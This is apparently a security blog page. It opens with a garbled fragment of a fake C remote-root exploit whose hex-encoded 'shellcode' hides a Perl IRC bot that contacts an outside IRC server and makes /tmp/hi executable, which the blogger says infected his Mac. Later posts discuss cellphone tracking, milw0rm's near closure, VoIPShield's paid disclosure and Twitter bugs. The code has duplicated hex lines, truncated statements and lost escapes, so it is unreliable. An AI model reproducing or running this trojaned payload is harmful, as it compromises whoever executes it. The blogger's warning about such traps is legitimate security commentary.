"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x64x20x2bx78x20x2fx74x6dx70x2fx68x69x20x32x3ex2f"
"x64x65x76x2fx6ex75x6cx6cx3bx2fx74x6dx70x2fx68x69"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x7dx7dx23x63x68x6dx6fx64x20x2bx78x20x2fx74x6dx70"
"x2fx68x69x20x32x3ex2fx64x65x76x2fx6ex75x6cx6cx3b"
"x2fx74x6dx70x2fx68x69x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
printf("n[+] 0pen0wn 0wnz Linux/FreeBSDn");
printf("  Usage: %s -h  -p portn",arg);
printf("  Options:n");
printf("  t-h ip/host of targetn");
printf("  t-p portn");
printf("  t-d usernamen");
printf("  t-B memory_limit 8/16/64nnn");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;

if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}

if(argc h_addr;
}

sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf("  [-] Connecting failedn");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == -1) {
printf("  [-] connecting failedn");
}

payload[sizeof(payload)-1] = '';
payload[sizeof(payload)-2] = '';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("n  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]nn");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf("  [-] failed to exploit target  n");
close(sock);
return 0;
}

=======================

So it run’s on Macs as well, I know it’s because of the underpining BSD subsystem, but it’s still cool, even if it does rely on human idiocracy.

I’m really curious how many people are actually going to fall for this one, and I only wish I could see their faces.

Well, Time Machine restore took me an hour and now my Mac’s running like a dream again, so a good result was achieved, and I had some fun doing it.
The world’s getting nasty out there people, be safe!

In recent news, a posting on slashdot talked about: Cruising Fisherman’s Wharf For New Passports’ Serial Numbers as a means of gaining access to sensitive information as well as being able to secretly do surveillance on people without their concent.

Is it just me, or have everyone forgotten the little, sometimes more than one, devices they take around with them all the time called cellphones?

Those tiny devices are perfect for surveillance, they emit a signal, when the signal is too weak to reach a cell site they try harder, they - if enabled - broadcast their GPS location via Google Latitude, and can allow anyone with the right equipment - not expensive as you would think - to track you down.

I think that the RFID and Passports “noise” being generated is just a smoke screen to distract people from the already existing and being used ability of governments and bad people of course, to track you down using the signalls emitted by your cellphone.

RFID unlike cellphones, can be easily blocked by simple means, for example putting your passport into a aluminium/metal sleeve, while I don’t see anyone doing the same to their cellphones

Seems like milw0rm will stay up for the near future. In an email from Str0ke, he wrote:

Way to[o] many people unhappy with me over the
idea of closing shop.  I just needed help which I have alot of people to choose from now

So the good news, is that we’ll still see milw0rm posting information. But for all of you who were disappointed by milw0rm almost closing: if you want to see it stay open, here’s your chance to help. Just write to str0ke and offer him help - managing a vulnerability database is one of the best ways to gain expertise and learn the field. Plus, you’ll be helping a valuable resource, and making friends along the way.

From a personal experience, I can very much recommend it. We started our own vulnerabilities database much like milw0rm a while back, and it gave us the expertise to build a vulnerability scanner, a fuzzer, and build a profitable business while having fun doing it. So much so, that the original SecuriTeam team is still actively working on editing and posting information.

So whether you are looking to sharpen your skills for fun or want to give a boost to your professional career, I highly recommend joining milw0rm (do it now, while str0ke is still accepting applications!)

Just thought I’d bring it up since there has been prolific chatter on the lists lately…

I saw a message from Jericho giving his goodbyes to str0ke, and had to see it for myself. Indeed:

Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don’t . For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn’t fair to the authors on this site. I appreciate and thank everyone for their support in the past.
Be safe, /str0ke

We all hope it’s just temporary and str0ke will bounce back. And  if that doesn’t happen, hopefully someone else will pick it up and continue. It’s a thankless job of tedious work but it gives “the good guys” a fighting chance by putting together in an organized manner things that are already know to the bad people out there.

Hopefully this is not a farewell, but if it is, milw0rm will be missed.

Readers: If you have suggestions for good exploit archives (other than this exploit archive, of course) that should go on the bookmark list where milw0rm was, please post in the comments below.

Update: Good news. As several of you noted, str0ke decided to keep on going. More information here.

Update 2: As of October 2009 they seem to be down again.

The startup VoIPShield is changing its disclosure policy to stop giving out VoIP bugs for free and start charging vendors for it. CEO Rick Dalmazzi writes:

Avaya doesn’t “have to” pay us for anything. We do not “require” payment from you. It’s Avaya’s choice if you want to acquire the results of years of work by VoIPshield. It’s a business decision that your company will have to make. VoIPshield has made a business decision to not give away that work for free.

I can totally see his point. While we would like to see all vulnerabilities out in the open, for free, companies and researchers that have worked hard to find security vulnerabilities should be compensated.

But I do think Rick is taking the long and hard path by asking the vendors directly - there’s still a long way to go there. We’ve been helping researchers sell their research to organizations who wanted to pay for 0-day vulnerability information through our SSD (SecuriTeam Secure Disclosure) program and the main conclusions so far are that there are organizations willing to pay for this information to protect themselves, but those are not the vendors (yet).

What we see is that organizations use this information as leverage on the vendors. Since they have information about undisclosed vulnerabilities, they can easily exercise this (better than we can, as researchers) to force the vendors to plug those holes. After a while, maybe vendors will choose to drink upstream and subscribe for this information. But that may take a while (a friend of mine that is responsible for product security for a very large vendor says that will be a cold day in hell).
In any case, good luck to VoIPShield and their new paid-disclosure program. If they are successful I think security researchers will benefit, and in the long run customers will be more protected as vendors get direct access to zero-day vulnerabilities.

Somebody had to do it, and I’m glad it’s Aviv Raff who finally went for it. This is just the first of what I’m sure will be many twitter-related vulnerabilities.
There’s a lot to check in twitter, and I’m sure this will be an interesting month. While Aviv is bringing home the meat, here’s a question to ask yourself in the meantime: How many web services have your twitter password? More than 5? More than 10? How many of them are still active and what happens if one of them goes bankrupt and sells the list to someone?

Update: apparently this was fixed after a few hours. The power of “Month of Bugs” I guess.